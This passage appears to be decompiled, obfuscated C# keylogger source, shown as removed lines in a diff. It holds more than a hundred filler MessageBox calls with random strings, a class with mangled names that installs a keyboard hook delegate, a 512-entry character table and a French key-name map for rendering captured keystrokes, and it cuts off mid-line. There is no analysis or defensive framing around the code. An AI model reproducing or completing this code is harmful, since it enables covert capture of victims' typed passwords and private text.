MessageBox.Show("MMVBFUHD6JWJNEPWXCKM8RWJ"); - int num1065 = (int) MessageBox.Show("FSCA5PYCT5YIVFBXBDLJV"); - int num1066 = (int) MessageBox.Show("QPMJJLNRFWUBKIKGJMHFADLPWDEMYPLF4K3VV"); - int num1067 = (int) MessageBox.Show("YMKQKRN8UMWLQEXIWWGZFAT1"); - int num1068 = (int) MessageBox.Show("PAUKCLB4Z2NWBSAGDJHUMTKEGVRSWGD"); - int num1069 = (int) MessageBox.Show("Z2K2KJNFARDA"); - int num1070 = (int) MessageBox.Show("CJKBZ7TIE6PWHHXU"); - int num1071 = (int) MessageBox.Show("DIXUJKYGMGNYUIDCDMFEKFSBEANPILBVUGJB5H6"); - int num1072 = (int) MessageBox.Show("PQVTWNTVCHFTH1PXCYZFETUQ2SHIUGNPVH"); - int num1073 = (int) MessageBox.Show("DIMJQDSRBAPCRGADFVMEDWGIBW61GKQTYHFBYSVFKY"); - int num1074 = (int) MessageBox.Show("MZXJRCMBRIIE72UGDSWPS"); - int num1075 = (int) MessageBox.Show("6JBUZBR5APZAWJ"); - int num1076 = (int) MessageBox.Show("NBPWDPXARRLLBMSXFQJGIPILMUGRHMH2WLHHTB9N"); - int num1077 = (int) MessageBox.Show("CZ4IUJTGRPPRUCESZRM6PCHTHR"); - int num1078 = (int) MessageBox.Show("PWIXNV26ENTAU"); - int num1079 = (int) MessageBox.Show("WDS6MEVQBTMWJEGHF2GCPNVYIAADFZRYUCSA"); - int num1080 = (int) MessageBox.Show("HFXDXZIFUQQWZDMBSCRDMXQID8HEUKUFLCABKBNTV9"); - int num1081 = (int) MessageBox.Show("DPNKLXLLGL7RWZDQBDBDREUQS3K"); - int num1082 = (int) MessageBox.Show("WJTLRTNRGZRBYQTXZBB5ZHYVF2"); - int num1083 = (int) MessageBox.Show("HSDLGTTCNQME8GIVBLMDCKLNJWQV7XWRLGKP"); - int num1084 = (int) MessageBox.Show("NP2VZLPHMUVKGDJ7JPIEHPVSQJYRVKCGVSIJFB"); - int num1085 = (int) MessageBox.Show("MRIWRMSQLQKAJTRZ2LY3TW"); - int num1086 = (int) MessageBox.Show("2FVSFQMQD7BAZ"); - int num1087 = (int) MessageBox.Show("Z5AXRIXC4EYZWMFJFHVTDATWKWIAZ"); - int num1088 = (int) MessageBox.Show("ECNCYKWBYEIHDVNRUAMXTMVSZFLQBJ2BCMKFBCSLF6"); - int num1089 = (int) MessageBox.Show("HASHZIWE2TA7U"); - int num1090 = (int) MessageBox.Show("M2QRWJEUQCA6BWYQU"); - int num1091 = (int) MessageBox.Show("LMSKSDHY7ENSYWB4HWCFIGEDPKUCMWQMHXDJ"); - int num1092 = (int) MessageBox.Show("IJIUNLLRECWSDSUNKBZNWHDFRTRVVFE6A1"); - int num1093 = (int) MessageBox.Show("RZS6UCICLBXWVBGMYMFKXZAPMFEAP5EESJQCTAELH"); - int num1094 = (int) MessageBox.Show("NCDYNVNGZGXA4YWBGPPR5BV"); - int num1095 = (int) MessageBox.Show("HNAPCW1AJTJGXXVLREZHA3IASARRDXSKIEJTUILFX"); - int num1096 = (int) MessageBox.Show("NXCX9TEJF9SEYDJMPQ"); - int num1097 = (int) MessageBox.Show("JVIQWTVB2ALVLNNLU1E"); - int num1098 = (int) MessageBox.Show("HAAUNGMFZ74UFVFK"); - int num1099 = (int) MessageBox.Show("26CAXKHSGZYSRTKBZFYPTFIUVALRY"); - int num1100 = (int) MessageBox.Show("6HKKPSDWFU1NJTKLS"); - int num1101 = (int) MessageBox.Show("KT7C6DXYVCRLSBKWRANB"); - int num1102 = (int) MessageBox.Show("WGXQVISU3JJ6Z"); - int num1103 = (int) MessageBox.Show("LYFCCYESZKK5MIZYEZWTB1R"); - int num1104 = (int) MessageBox.Show("XU8BTXSGZXYTJ1JQQFNDXVUVQTVNHEKILM"); - int num1105 = (int) MessageBox.Show("ZDZYSKEYGUBNVVVJTHWDSGV9GQXBTV4TNHHST"); - int num1106 = (int) MessageBox.Show("N2BUA5RRQWKCQATC"); - int num1107 = (int) MessageBox.Show("BCLANAUTL45UBEX"); - int num1108 = (int) MessageBox.Show("VS2DFJVRRMADDVPZP1QJQMRJHPLPCDCVPTGDBMDMU"); - int num1109 = (int) MessageBox.Show("HGIYA9T6QJCSB"); - int num1110 = (int) MessageBox.Show("4UTVWHBBILGVD2"); - int num1111 = (int) MessageBox.Show("JZTTMA4IWIMPKAC8LNACUL"); - int num1112 = (int) MessageBox.Show("AAMUFGNBQRZBZFJBLFVAJBZVIPGCTAJ2RTFY5C"); - int num1113 = (int) MessageBox.Show("X6LXJYBYAKUN6ZHFH"); - int num1114 = (int) MessageBox.Show("WTJSUWLDWMS82DZUJSPXJAMGI"); - int num1115 = (int) MessageBox.Show("UAQ3QDWQZW2XH"); - int num1116 = (int) MessageBox.Show("BD3CQRLJXQF3"); - int num1117 = (int) MessageBox.Show("3ZZIDK4HNQRWM"); - int num1118 = (int) MessageBox.Show("EY5ZMPERN5EXJAFAEPNYXDH"); - int num1119 = (int) MessageBox.Show("LUUFEAA4FPNEWVUDK7"); - int num1120 = (int) MessageBox.Show("U9ZXRSYYRAGYEG8X"); - int num1121 = (int) MessageBox.Show("YGPWLNYCYGRRQURXDTJJAKKJ2UKNWX8"); - int num1122 = (int) MessageBox.Show("5EHENBXDR4VNRKKLDEIGYTMICDPYVXF"); - int num1123 = (int) MessageBox.Show("CSKNAYBZBW2UQ9RKGUTVWU"); - int num1124 = (int) MessageBox.Show("1WLDHZCFJIYURNDZYTJCNJCWUTC7TR"); - int num1125 = (int) MessageBox.Show("IRAW8GZZXJUZBT2EIHHUHQET"); - int num1126 = (int) MessageBox.Show("ZWFSD1YHERTADNUFKLC8ZCWHZCNQIEVWA"); - int num1127 = (int) MessageBox.Show("KXA4VV5LNIWVKBMZWIB"); - int num1128 = (int) MessageBox.Show("1PTRYCKWXPFDEBDIABNNAIL8EETW"); - int num1129 = (int) MessageBox.Show("MXGZ3EHTDDBDZGRBLFGQTVHKTF2LJZAHUU"); - int num1130 = (int) MessageBox.Show("DXBVZKYA3TCXNBRP6IMPJRMQMZGC"); - int num1131 = (int) MessageBox.Show("DJ4BGDPZAF6B"); - int num1132 = (int) MessageBox.Show("65WJCCGQMJDERTHQXW"); - int num1133 = (int) MessageBox.Show("YYHW9DTDJRPSM8SFSU"); - int num1134 = (int) MessageBox.Show("SFCRYIECMLAXTRY2YIFZX7IB"); - int num1135 = (int) MessageBox.Show("QPVWHWA3SMJVJWXLC2Y"); - int num1136 = (int) MessageBox.Show("MTIZPTHJZW19KWQYHKWRISM"); - int num1137 = (int) MessageBox.Show("ITLNKW6MVRRIZH2HKXUYFC"); - int num1138 = (int) MessageBox.Show("JEH3NNQZZAEDBHFQRGXANMGZSQ3LTRGMYJEKRWHFP"); - int num1139 = (int) MessageBox.Show("EFPJHTRVAMQFXIFCCVKNIHDZYM2HFQG8Y"); - int num1140 = (int) MessageBox.Show("PEBLTBPKZN9PYQV5PHGYNSSKYAAWHJ"); - int num1141 = (int) MessageBox.Show("K4ZQHUTKXIV2"); - int num1142 = (int) MessageBox.Show("EULQBJMVJWZBXZF7RHGDB3NQEXMZ"); - int num1143 = (int) MessageBox.Show("CZDVCPARZYFDRVZHRAGFTJDNDN8IGH5TKAQXJBHKAA"); - int num1144 = (int) MessageBox.Show("NYNR2YSJLNJZZH7L"); - int num1145 = (int) MessageBox.Show("N8GSLRPAARFRCCLCVLDEDMAPE2QHPQEHDHWE"); - int num1146 = (int) MessageBox.Show("KHPXBWPUAHBSLIR96JLLWCAFRKEEIFFIPMUYMJ"); - int num1147 = (int) MessageBox.Show("AEEVTAGKZD7KWTWKPWWZFDJRMRRJDVTZMLLGUU2TC"); - int num1148 = (int) MessageBox.Show("GMH4JG8CVJJCEGFWCGD"); - int num1149 = (int) MessageBox.Show("QZVRBSZL7SKXD2"); - int num1150 = (int) MessageBox.Show("EPUHWBZCDHEUFHCIAKGACSVA5KYCGGST7R"); - int num1151 = (int) MessageBox.Show("RC1PDMHAFXIRE2SE"); - int num1152 = (int) MessageBox.Show("MWJILDIMNRMGMGMGEZZBDKDR3ZLVE8CW"); - int num1153 = (int) MessageBox.Show("95MNYBLJXFXEYY"); - int num1154 = (int) MessageBox.Show("AB1F2TBBRKKMMMTIXVFM"); - int num1155 = (int) MessageBox.Show("BRCMVR9MZUTRCCLGFERXZYAEEXYJNIW7SJCNWWFZX"); - int num1156 = (int) MessageBox.Show("VSBQA7JIDJHM9RBZILQPRXPGAGG"); - int num1157 = (int) MessageBox.Show("NIVICMN2FZFTEYP5YTMPGVVHJF"); - int num1158 = (int) MessageBox.Show("KZBH4RKCPSTERCYY9UXRREFVNSZMVVQBP"); - int num1159 = (int) MessageBox.Show("IVX6JIMTBQGTXFKBQEUXECYV1L"); - int num1160 = (int) MessageBox.Show("TVLPCDGSN84QUNYMXFFS"); - int num1161 = (int) MessageBox.Show("CGPZ3DFZTYAYQIPN5SHLEUYCUBTXTHBEWALNPNHGNZ"); - int num1162 = (int) MessageBox.Show("GVJC3LYE8MTDPHJZLBARYATVI"); - int num1163 = (int) MessageBox.Show("A9VLEFGVE9CSAQVSVJY"); - int num1164 = (int) MessageBox.Show("SYMHHEW8LNACTIGZHUGUW1WQHZMSZPAIJLESS"); - int num1165 = (int) MessageBox.Show("UHYXKR8GTB9ATSVF"); - int num1166 = (int) MessageBox.Show("ISBYULG7GESCQ5ZMM"); - int num1167 = (int) MessageBox.Show("CWMNMVWNXJM7VGIPPQAPIEWHALPQUE1ZIYXRE"); - int num1168 = (int) MessageBox.Show("VWTCV7QDF7YLQCFZT"); - int num1169 = (int) MessageBox.Show("2SJKQLNXIXZPARAC3QJEGGTFTTVTZHCVGYRS"); - int num1170 = (int) MessageBox.Show("CMMFNWFYRGST6PBAVQXNZMGWTA4HPZZXTLAMBKALTG"); - int num1171 = (int) MessageBox.Show("GPHELMCXFV4FQXFRKJRUNYGRLKEBYN3VMQMF"); - int num1172 = (int) MessageBox.Show("JFKG8IYATUNFILHND3UWIRYATNFQPF"); - int num1173 = (int) MessageBox.Show("VSYJB4DMUPKX9HIYJDTNQSKD"); - int num1174 = (int) MessageBox.Show("JT9GYFWPHJBYPRQLYYJIWKGHAVZGUXGB7FJJ"); - int num1175 = (int) MessageBox.Show("PXDZIFXDAJWCHNZQGZ57"); - int num1176 = (int) MessageBox.Show("B52YVUAFWEAPPSTJFAPCKVIMXTUXXRNWHRLX"); - int num1177 = (int) MessageBox.Show("INRDCMDHWNKHBRWJ4ZDILRYCBZBJ5IZBH"); - int num1178 = (int) MessageBox.Show("M5JG9DYQXQNDWZPJSDVSJET"); - int num1179 = (int) MessageBox.Show("YRQPMREPCLDPMTI24"); - int num1180 = (int) MessageBox.Show("MJLILHPMIFT41XZD"); - int num1181 = (int) MessageBox.Show("BA2FLAUIEPI7FYLFHYMIVNQNPEZ"); - int num1182 = (int) MessageBox.Show("XTABJZX7HPVAIYRWEREQZU6A"); - int num1183 = (int) MessageBox.Show("BQWCF5AHV6CXGLVTSJVMDUUIKSVKY"); - int num1184 = (int) MessageBox.Show("RHP7MAUAAVPR2MKSCSGDGIXRB"); - int num1185 = (int) MessageBox.Show("YMUDWYN3VINGUDBZEFT4XHRMHAMDMHLUJ"); - int num1186 = (int) MessageBox.Show("L1JPAW6ZXQETL"); - int num1187 = (int) MessageBox.Show("GNQGX2HEQWYBSEAUD1YYICJN"); - int num1188 = (int) MessageBox.Show("PQLGB6TFJJ7P"); - int num1189 = (int) MessageBox.Show("K5KGHAGMJEJ4AKBTZJEANUWKN"); - int num1190 = (int) MessageBox.Show("LTEUWZYBAWD5HCGZPUW8WYLWGVTGLUN"); - int num1191 = (int) MessageBox.Show("D8VKTGBXXM2B"); - int num1192 = (int) MessageBox.Show("WUFDPSXATP2ZCUUJXLMNGK6MMLQBCKKVXK"); - int num1193 = (int) MessageBox.Show("DKZNGYVZMLXTLG7RSVKQFKDWNZHZN3EZM"); - int num1194 = (int) MessageBox.Show("NEZBFY3ULNEVCXNSRHVQGEIW9FLKJ"); - int num1195 = (int) MessageBox.Show("WHRBSI8MHFBHQPBWXJFWMBQXTH7RFRSK"); - int num1196 = (int) MessageBox.Show("ZCAWT35PGDBXNIZ"); - int num1197 = (int) MessageBox.Show("53KECZZDTWZF"); - int num1198 = (int) MessageBox.Show("WNCIQBXMABJU4A9DYV"); - int num1199 = (int) MessageBox.Show("1KTNNLQEAFKFRQEKKRUCML1SFABQYXINNRS"); - int num1200 = (int) MessageBox.Show("QJPUBJJVDSDBQFJYI1CTI9XXTDRYGNY"); - int num1201 = (int) MessageBox.Show("YLH7SPDJUWNKRDJWIQSASMDZEBJQHYP8XASKRDSM"); - } - - public huhuhuiifyuhuyufuf() - { - this.gergegergeeger = 257; - this.fzezeeffzezeffz = (short) 256; - this.hhtrthrttrrhhtrtrhrthhtrh = 260; - this.gregrergergergerge = 261; - this.hrhrthrthrhvcazxascby = (IntPtr) 0; - this.vvdfvdbdfbdfhbhgnh = ""; - this.callbjhgkjhgkjhgjhgjhgjhgack = (huhuhuiifyuhuyufuf.KeyboardHookDelegate) null; - this.RChrrtthrthrthrhtrl = false; - this.LkjhjhkjhlkjhlhlkCtrl = false; - this.Cthfghfhfghgfrl = false; - this.RShggggggft = false; - this.sdfghjksdfghjkdfghjk = false; - this.Shft = false; - this.Alt = false; - this.AltGr = false; - this.RWin = false; - this.Lwin = false; - this.Win = false; - this.CapsT = false; - this.Acct = char.MinValue; - this.Caps = MyProject.Computer.Keyboard.CapsLock; - this.Acde = ""; - this.Kc = new huhuhuiifyuhuyufuf.Keycodes(); - this.AsciiT = new string[512, 2] - { - { - "0", - "" - }, - { - "1", - "☺" - }, - { - "2", - "☻" - }, - { - "3", - "♥" - }, - { - "4", - "♦" - }, - { - "5", - "♣" - }, - { - "6", - "♠" - }, - { - "7", - "•" - }, - { - "8", - "◘" - }, - { - "9", - "○" - }, - { - "10", - "◙" - }, - { - "11", - "♂" - }, - { - "12", - "♀" - }, - { - "13", - "♪" - }, - { - "14", - "♫" - }, - { - "15", - "☼" - }, - { - "16", - "►" - }, - { - "17", - "◄" - }, - { - "18", - "↕" - }, - { - "19", - "‼" - }, - { - "20", - "¶" - }, - { - "21", - "§" - }, - { - "22", - "▬" - }, - { - "23", - "↨" - }, - { - "24", - "↑" - }, - { - "25", - "↓" - }, - { - "26", - "→" - }, - { - "27", - "←" - }, - { - "28", - "∟" - }, - { - "29", - "↔" - }, - { - "30", - "▲" - }, - { - "31", - "▼" - }, - { - "32", - " " - }, - { - "33", - "!" - }, - { - "34", - "\"" - }, - { - "35", - "#" - }, - { - "36", - "$" - }, - { - "37", - "%" - }, - { - "38", - "&" - }, - { - "39", - "'" - }, - { - "40", - "(" - }, - { - "41", - ")" - }, - { - "42", - "*" - }, - { - "43", - "+" - }, - { - "44", - "," - }, - { - "45", - "-" - }, - { - "46", - "." - }, - { - "47", - "/" - }, - { - "48", - "0" - }, - { - "49", - "1" - }, - { - "50", - "2" - }, - { - "51", - "3" - }, - { - "52", - "4" - }, - { - "53", - "5" - }, - { - "54", - "6" - }, - { - "55", - "7" - }, - { - "56", - "8" - }, - { - "57", - "9" - }, - { - "58", - ":" - }, - { - "59", - ";" - }, - { - "60", - "<" - }, - { - "61", - "=" - }, - { - "62", - ">" - }, - { - "63", - "?" - }, - { - "64", - "@" - }, - { - "65", - "A" - }, - { - "66", - "B" - }, - { - "67", - "C" - }, - { - "68", - "D" - }, - { - "69", - "E" - }, - { - "70", - "F" - }, - { - "71", - "G" - }, - { - "72", - "H" - }, - { - "73", - "I" - }, - { - "74", - "J" - }, - { - "75", - "K" - }, - { - "76", - "L" - }, - { - "77", - "M" - }, - { - "78", - "N" - }, - { - "79", - "O" - }, - { - "80", - "P" - }, - { - "81", - "Q" - }, - { - "82", - "R" - }, - { - "83", - "S" - }, - { - "84", - "T" - }, - { - "85", - "U" - }, - { - "86", - "V" - }, - { - "87", - "W" - }, - { - "88", - "X" - }, - { - "89", - "Y" - }, - { - "90", - "Z" - }, - { - "91", - "[" - }, - { - "92", - "\\" - }, - { - "93", - "]" - }, - { - "94", - "^" - }, - { - "95", - "_" - }, - { - "96", - "`" - }, - { - "97", - "a" - }, - { - "98", - "b" - }, - { - "99", - "c" - }, - { - "100", - "d" - }, - { - "101", - "e" - }, - { - "102", - "f" - }, - { - "103", - "g" - }, - { - "104", - "h" - }, - { - "105", - "i" - }, - { - "106", - "j" - }, - { - "107", - "k" - }, - { - "108", - "l" - }, - { - "109", - "m" - }, - { - "110", - "n" - }, - { - "111", - "o" - }, - { - "112", - "p" - }, - { - "113", - "q" - }, - { - "114", - "r" - }, - { - "115", - "s" - }, - { - "116", - "t" - }, - { - "117", - "u" - }, - { - "118", - "v" - }, - { - "119", - "w" - }, - { - "120", - "x" - }, - { - "121", - "y" - }, - { - "122", - "z" - }, - { - "123", - "{" - }, - { - "124", - "|" - }, - { - "125", - "}" - }, - { - "126", - "~" - }, - { - "127", - "⌂" - }, - { - "128", - "Ç" - }, - { - "129", - "ü" - }, - { - "130", - "é" - }, - { - "131", - "â" - }, - { - "132", - "ä" - }, - { - "133", - "à" - }, - { - "134", - "å" - }, - { - "135", - "ç" - }, - { - "136", - "ê" - }, - { - "137", - "ë" - }, - { - "138", - "è" - }, - { - "139", - "ï" - }, - { - "140", - "î" - }, - { - "141", - "ì" - }, - { - "142", - "Ä" - }, - { - "143", - "Å" - }, - { - "144", - "É" - }, - { - "145", - "æ" - }, - { - "146", - "Æ" - }, - { - "147", - "ô" - }, - { - "148", - "ö" - }, - { - "149", - "ò" - }, - { - "150", - "û" - }, - { - "151", - "ù" - }, - { - "152", - "ÿ" - }, - { - "153", - "Ö" - }, - { - "154", - "Ü" - }, - { - "155", - "ø" - }, - { - "156", - "£" - }, - { - "157", - "Ø" - }, - { - "158", - "×" - }, - { - "159", - "ƒ" - }, - { - "160", - "á" - }, - { - "161", - "í" - }, - { - "162", - "ó" - }, - { - "163", - "ú" - }, - { - "164", - "ñ" - }, - { - "165", - "Ñ" - }, - { - "166", - "ª" - }, - { - "167", - "º" - }, - { - "168", - "¿" - }, - { - "169", - "®" - }, - { - "170", - "¬" - }, - { - "171", - "\u00BD" - }, - { - "172", - "\u00BC" - }, - { - "173", - "¡" - }, - { - "174", - "«" - }, - { - "175", - "»" - }, - { - "176", - "░" - }, - { - "177", - "▒" - }, - { - "178", - "▓" - }, - { - "179", - "│" - }, - { - "180", - "┤" - }, - { - "181", - "Á" - }, - { - "182", - "Â" - }, - { - "183", - "À" - }, - { - "184", - "©" - }, - { - "185", - "╣" - }, - { - "186", - "║" - }, - { - "187", - "╗" - }, - { - "188", - "╝" - }, - { - "189", - "¢" - }, - { - "190", - "¥" - }, - { - "191", - "┐" - }, - { - "192", - "└" - }, - { - "193", - "┴" - }, - { - "194", - "┬" - }, - { - "195", - "├" - }, - { - "196", - "─" - }, - { - "197", - "┼" - }, - { - "198", - "ã" - }, - { - "199", - "Ã" - }, - { - "200", - "╚" - }, - { - "201", - "╔" - }, - { - "202", - "╩" - }, - { - "203", - "╦" - }, - { - "204", - "╠" - }, - { - "205", - "═" - }, - { - "206", - "╬" - }, - { - "207", - "¤" - }, - { - "208", - "ð" - }, - { - "209", - "Ð" - }, - { - "210", - "Ê" - }, - { - "211", - "Ë" - }, - { - "212", - "È" - }, - { - "213", - "ı" - }, - { - "214", - "Í" - }, - { - "215", - "Î" - }, - { - "216", - "Ï" - }, - { - "217", - "┘" - }, - { - "218", - "┌" - }, - { - "219", - "█" - }, - { - "220", - "▄" - }, - { - "221", - "¦" - }, - { - "222", - "Ì" - }, - { - "223", - "▀" - }, - { - "224", - "Ó" - }, - { - "225", - "ß" - }, - { - "226", - "Ô" - }, - { - "227", - "Ò" - }, - { - "228", - "õ" - }, - { - "229", - "Õ" - }, - { - "230", - "µ" - }, - { - "231", - "þ" - }, - { - "232", - "Þ" - }, - { - "233", - "Ú" - }, - { - "234", - "Û" - }, - { - "235", - "Ù" - }, - { - "236", - "ý" - }, - { - "237", - "Ý" - }, - { - "238", - "¯" - }, - { - "239", - "´" - }, - { - "240", - "\u00AD" - }, - { - "241", - "±" - }, - { - "242", - "‗" - }, - { - "243", - "\u00BE" - }, - { - "244", - "¶" - }, - { - "245", - "§" - }, - { - "246", - "↑" - }, - { - "247", - "¸" - }, - { - "248", - "°" - }, - { - "249", - "¨" - }, - { - "250", - "·" - }, - { - "251", - "\u00B9" - }, - { - "252", - "\u00B3" - }, - { - "253", - "\u00B2" - }, - { - "254", - "■" - }, - { - "255", - " " - }, - { - "0", - "" - }, - { - "1", - "" - }, - { - "2", - "" - }, - { - "3", - "" - }, - { - "4", - "" - }, - { - "5", - "" - }, - { - "6", - "" - }, - { - "7", - "" - }, - { - "8", - "" - }, - { - "9", - "" - }, - { - "10", - "" - }, - { - "11", - "" - }, - { - "12", - "" - }, - { - "13", - "" - }, - { - "14", - "" - }, - { - "15", - "" - }, - { - "16", - "" - }, - { - "17", - "" - }, - { - "18", - "" - }, - { - "19", - "" - }, - { - "20", - "" - }, - { - "21", - "" - }, - { - "22", - "" - }, - { - "23", - "" - }, - { - "24", - "" - }, - { - "25", - "" - }, - { - "26", - "" - }, - { - "27", - "" - }, - { - "28", - "" - }, - { - "29", - "" - }, - { - "30", - "" - }, - { - "31", - "" - }, - { - "032", - " " - }, - { - "033", - "!" - }, - { - "034", - "\"" - }, - { - "035", - "#" - }, - { - "036", - "$" - }, - { - "037", - "%" - }, - { - "038", - "&" - }, - { - "039", - "'" - }, - { - "040", - "(" - }, - { - "041", - ")" - }, - { - "042", - "*" - }, - { - "043", - "+" - }, - { - "044", - "," - }, - { - "045", - "-" - }, - { - "046", - "." - }, - { - "047", - "/" - }, - { - "048", - "0" - }, - { - "049", - "1" - }, - { - "050", - "2" - }, - { - "051", - "3" - }, - { - "052", - "4" - }, - { - "053", - "5" - }, - { - "054", - "6" - }, - { - "055", - "7" - }, - { - "056", - "8" - }, - { - "057", - "9" - }, - { - "058", - ":" - }, - { - "059", - ";" - }, - { - "060", - "<" - }, - { - "061", - "=" - }, - { - "062", - ">" - }, - { - "063", - "?" - }, - { - "064", - "@" - }, - { - "065", - "A" - }, - { - "066", - "B" - }, - { - "067", - "C" - }, - { - "068", - "D" - }, - { - "069", - "E" - }, - { - "070", - "F" - }, - { - "071", - "G" - }, - { - "072", - "H" - }, - { - "073", - "I" - }, - { - "074", - "J" - }, - { - "075", - "K" - }, - { - "076", - "L" - }, - { - "077", - "M" - }, - { - "078", - "N" - }, - { - "079", - "O" - }, - { - "080", - "P" - }, - { - "081", - "Q" - }, - { - "082", - "R" - }, - { - "083", - "S" - }, - { - "084", - "T" - }, - { - "085", - "U" - }, - { - "086", - "V" - }, - { - "087", - "W" - }, - { - "088", - "X" - }, - { - "089", - "Y" - }, - { - "090", - "Z" - }, - { - "091", - "[" - }, - { - "092", - "\\" - }, - { - "093", - "]" - }, - { - "094", - "^" - }, - { - "095", - "_" - }, - { - "096", - "`" - }, - { - "097", - "a" - }, - { - "098", - "b" - }, - { - "099", - "c" - }, - { - "0100", - "d" - }, - { - "0101", - "e" - }, - { - "0102", - "f" - }, - { - "0103", - "g" - }, - { - "0104", - "h" - }, - { - "0105", - "i" - }, - { - "0106", - "j" - }, - { - "0107", - "k" - }, - { - "0108", - "l" - }, - { - "0109", - "m" - }, - { - "0110", - "n" - }, - { - "0111", - "o" - }, - { - "0112", - "p" - }, - { - "0113", - "q" - }, - { - "0114", - "r" - }, - { - "0115", - "s" - }, - { - "0116", - "t" - }, - { - "0117", - "u" - }, - { - "0118", - "v" - }, - { - "0119", - "w" - }, - { - "0120", - "x" - }, - { - "0121", - "y" - }, - { - "0122", - "z" - }, - { - "0123", - "{" - }, - { - "0124", - "|" - }, - { - "0125", - "}" - }, - { - "0126", - "~" - }, - { - "0127", - "\u007F" - }, - { - "0128", - "€" - }, - { - "0129", - "\u0081" - }, - { - "0130", - "‚" - }, - { - "0131", - "ƒ" - }, - { - "0132", - "„" - }, - { - "0133", - "…" - }, - { - "0134", - "†" - }, - { - "0135", - "‡" - }, - { - "0136", - "ˆ" - }, - { - "0137", - "‰" - }, - { - "0138", - "Š" - }, - { - "0139", - "‹" - }, - { - "0140", - "Œ" - }, - { - "0141", - "\u008D" - }, - { - "0142", - "Ž" - }, - { - "0143", - "\u008F" - }, - { - "0144", - "\u0090" - }, - { - "0145", - "‘" - }, - { - "0146", - "’" - }, - { - "0147", - "\"" - }, - { - "148", - "\"" - }, - { - "0149", - "•" - }, - { - "0150", - "–" - }, - { - "0151", - "—" - }, - { - "0152", - "˜˜" - }, - { - "0153", - "™" - }, - { - "0154", - "š" - }, - { - "0155", - "›" - }, - { - "0156", - "œ" - }, - { - "0157", - "\u009D" - }, - { - "0158", - "ž" - }, - { - "0159", - "Ÿ" - }, - { - "0160", - " " - }, - { - "0161", - "¡" - }, - { - "0162", - "¢" - }, - { - "0163", - "£" - }, - { - "0164", - "¤" - }, - { - "0165", - "¥" - }, - { - "0166", - "¦" - }, - { - "0167", - "§" - }, - { - "0168", - "¨" - }, - { - "0169", - "©" - }, - { - "0170", - "ª" - }, - { - "0171", - "«" - }, - { - "0172", - "¬" - }, - { - "0173", - "\u00AD" - }, - { - "0174", - "®" - }, - { - "0175", - "¯" - }, - { - "0176", - "°" - }, - { - "0177", - "±" - }, - { - "0178", - "\u00B2" - }, - { - "0179", - "\u00B3" - }, - { - "0180", - "´" - }, - { - "0181", - "µ" - }, - { - "0182", - "¶" - }, - { - "0183", - "·" - }, - { - "0184", - "¸" - }, - { - "0185", - "\u00B9" - }, - { - "0186", - "º" - }, - { - "0187", - "»" - }, - { - "0188", - "\u00BC" - }, - { - "0189", - "\u00BD" - }, - { - "0190", - "\u00BE" - }, - { - "0191", - "¿" - }, - { - "0192", - "À" - }, - { - "0193", - "Á" - }, - { - "0194", - "Â" - }, - { - "0195", - "Ã" - }, - { - "0196", - "Ä" - }, - { - "0197", - "Å" - }, - { - "0198", - "Æ" - }, - { - "0199", - "Ç" - }, - { - "0200", - "È" - }, - { - "0201", - "É" - }, - { - "0202", - "Ê" - }, - { - "0203", - "Ë" - }, - { - "0204", - "Ì" - }, - { - "0205", - "Í" - }, - { - "0206", - "Î" - }, - { - "0207", - "Ï" - }, - { - "0208", - "Ð" - }, - { - "0209", - "Ñ" - }, - { - "0210", - "Ò" - }, - { - "0211", - "Ó" - }, - { - "0212", - "Ô" - }, - { - "0213", - "Õ" - }, - { - "0214", - "Ö" - }, - { - "0215", - "×" - }, - { - "0216", - "Ø" - }, - { - "0217", - "Ù" - }, - { - "0218", - "Ú" - }, - { - "0219", - "Û" - }, - { - "0220", - "Ü" - }, - { - "0221", - "Ý" - }, - { - "0222", - "Þ" - }, - { - "0223", - "ß" - }, - { - "0224", - "à" - }, - { - "0225", - "á" - }, - { - "0226", - "â" - }, - { - "0227", - "ã" - }, - { - "0228", - "ä" - }, - { - "0229", - "å" - }, - { - "0230", - "æ" - }, - { - "0231", - "ç" - }, - { - "0232", - "è" - }, - { - "0233", - "é" - }, - { - "0234", - "ê" - }, - { - "0235", - "ë" - }, - { - "0236", - "ì" - }, - { - "0237", - "í" - }, - { - "0238", - "î" - }, - { - "0239", - "ï" - }, - { - "0240", - "ð" - }, - { - "0241", - "ñ" - }, - { - "0242", - "ò" - }, - { - "0243", - "ó" - }, - { - "0244", - "ô" - }, - { - "0245", - "õ" - }, - { - "0246", - "ö" - }, - { - "0247", - "÷" - }, - { - "0248", - "ø" - }, - { - "0249", - "ù" - }, - { - "0250", - "ú" - }, - { - "0251", - "û" - }, - { - "0252", - "ü" - }, - { - "0253", - "ý" - }, - { - "0254", - "þ" - }, - { - "0255", - "ÿ" - } - }; - this.Kc.Add(0); - this.Kc.Add(1, "[CLIC GAUCHE]"); - this.Kc.Add(2, "[CLIC DROIT]"); - this.Kc.Add(3, "[ANNULATION]"); - this.Kc.Add(4, "[CLIC BOUTON MILIEU]"); - this.Kc.Add(5, "[CLIC BOUTON 4]"); - this.Kc.Add(6, "[CLIC BOUTON 5]"); - this.Kc.Add(7); - this.Kc.Add(8, "[RETOUR ARRIERE]"); - this.Kc.Add(9, "[TABULATION]", Ret_AltGr: "[PERMUTATION FENETRE←]", Ret_Alt: "[PERMUTATION FENETRE→]", Ret_Win: "[FLIP 3D→]", Ret_WinShft: "[FLIP 3D←]", Ret_WinCtrl: "[FIGER LE FLIP 3D]"); - this.Kc.Add(10); - this.Kc.Add(11); - this.Kc.Add(12, "[NETTOYER]"); - this.Kc.Add(13, "[ENTER]\r\n", Ret_Alt: "[PROPRIETES]"); - this.Kc.Add(14); - this.Kc.Add(15); - this.Kc.Add(16, "[SHIFT]", Ret_Alt: "[BASCULER CLAVIER]"); - this.Kc.Add(17, "[CONTROL"); - this.Kc.Add(18, "[ALT]"); - this.Kc.Add(19, "[PAUSE]", Ret_Win: "[PANNEAU INFOS SYS]"); - this.Kc.Add(20, "[CAPS LOCK]"); - this.Kc.Add(21); - this.Kc.Add(22); - this.Kc.Add(23); - this.Kc.Add(24); - this.Kc.Add(25); - this.Kc.Add(26); - this.Kc.Add(27, "[ECHAP]", Ret_Alt: "[PARCOURIR LES FENETRES]", Ret_Win: "[MENU DEMARRER]"); - this.Kc.Add(28); - this.Kc.Add(29); - this.Kc.Add(30); - this.Kc.Add(31); - this.Kc.Add(32, " ", Ret_Alt: "[MENU CONTEXTUEL]", Ret_AccTrans: 1); - this.Kc.Add(33, "[▼]"); - this.Kc.Add(34, "[▼]"); - this.Kc.Add(35, "[FIN / FIN LIGNE]", "[SLCT CURSEUR-FIN LIGNE]", "[FIN DOCUMENT]"); - this.Kc.Add(36, "[DEBUT / 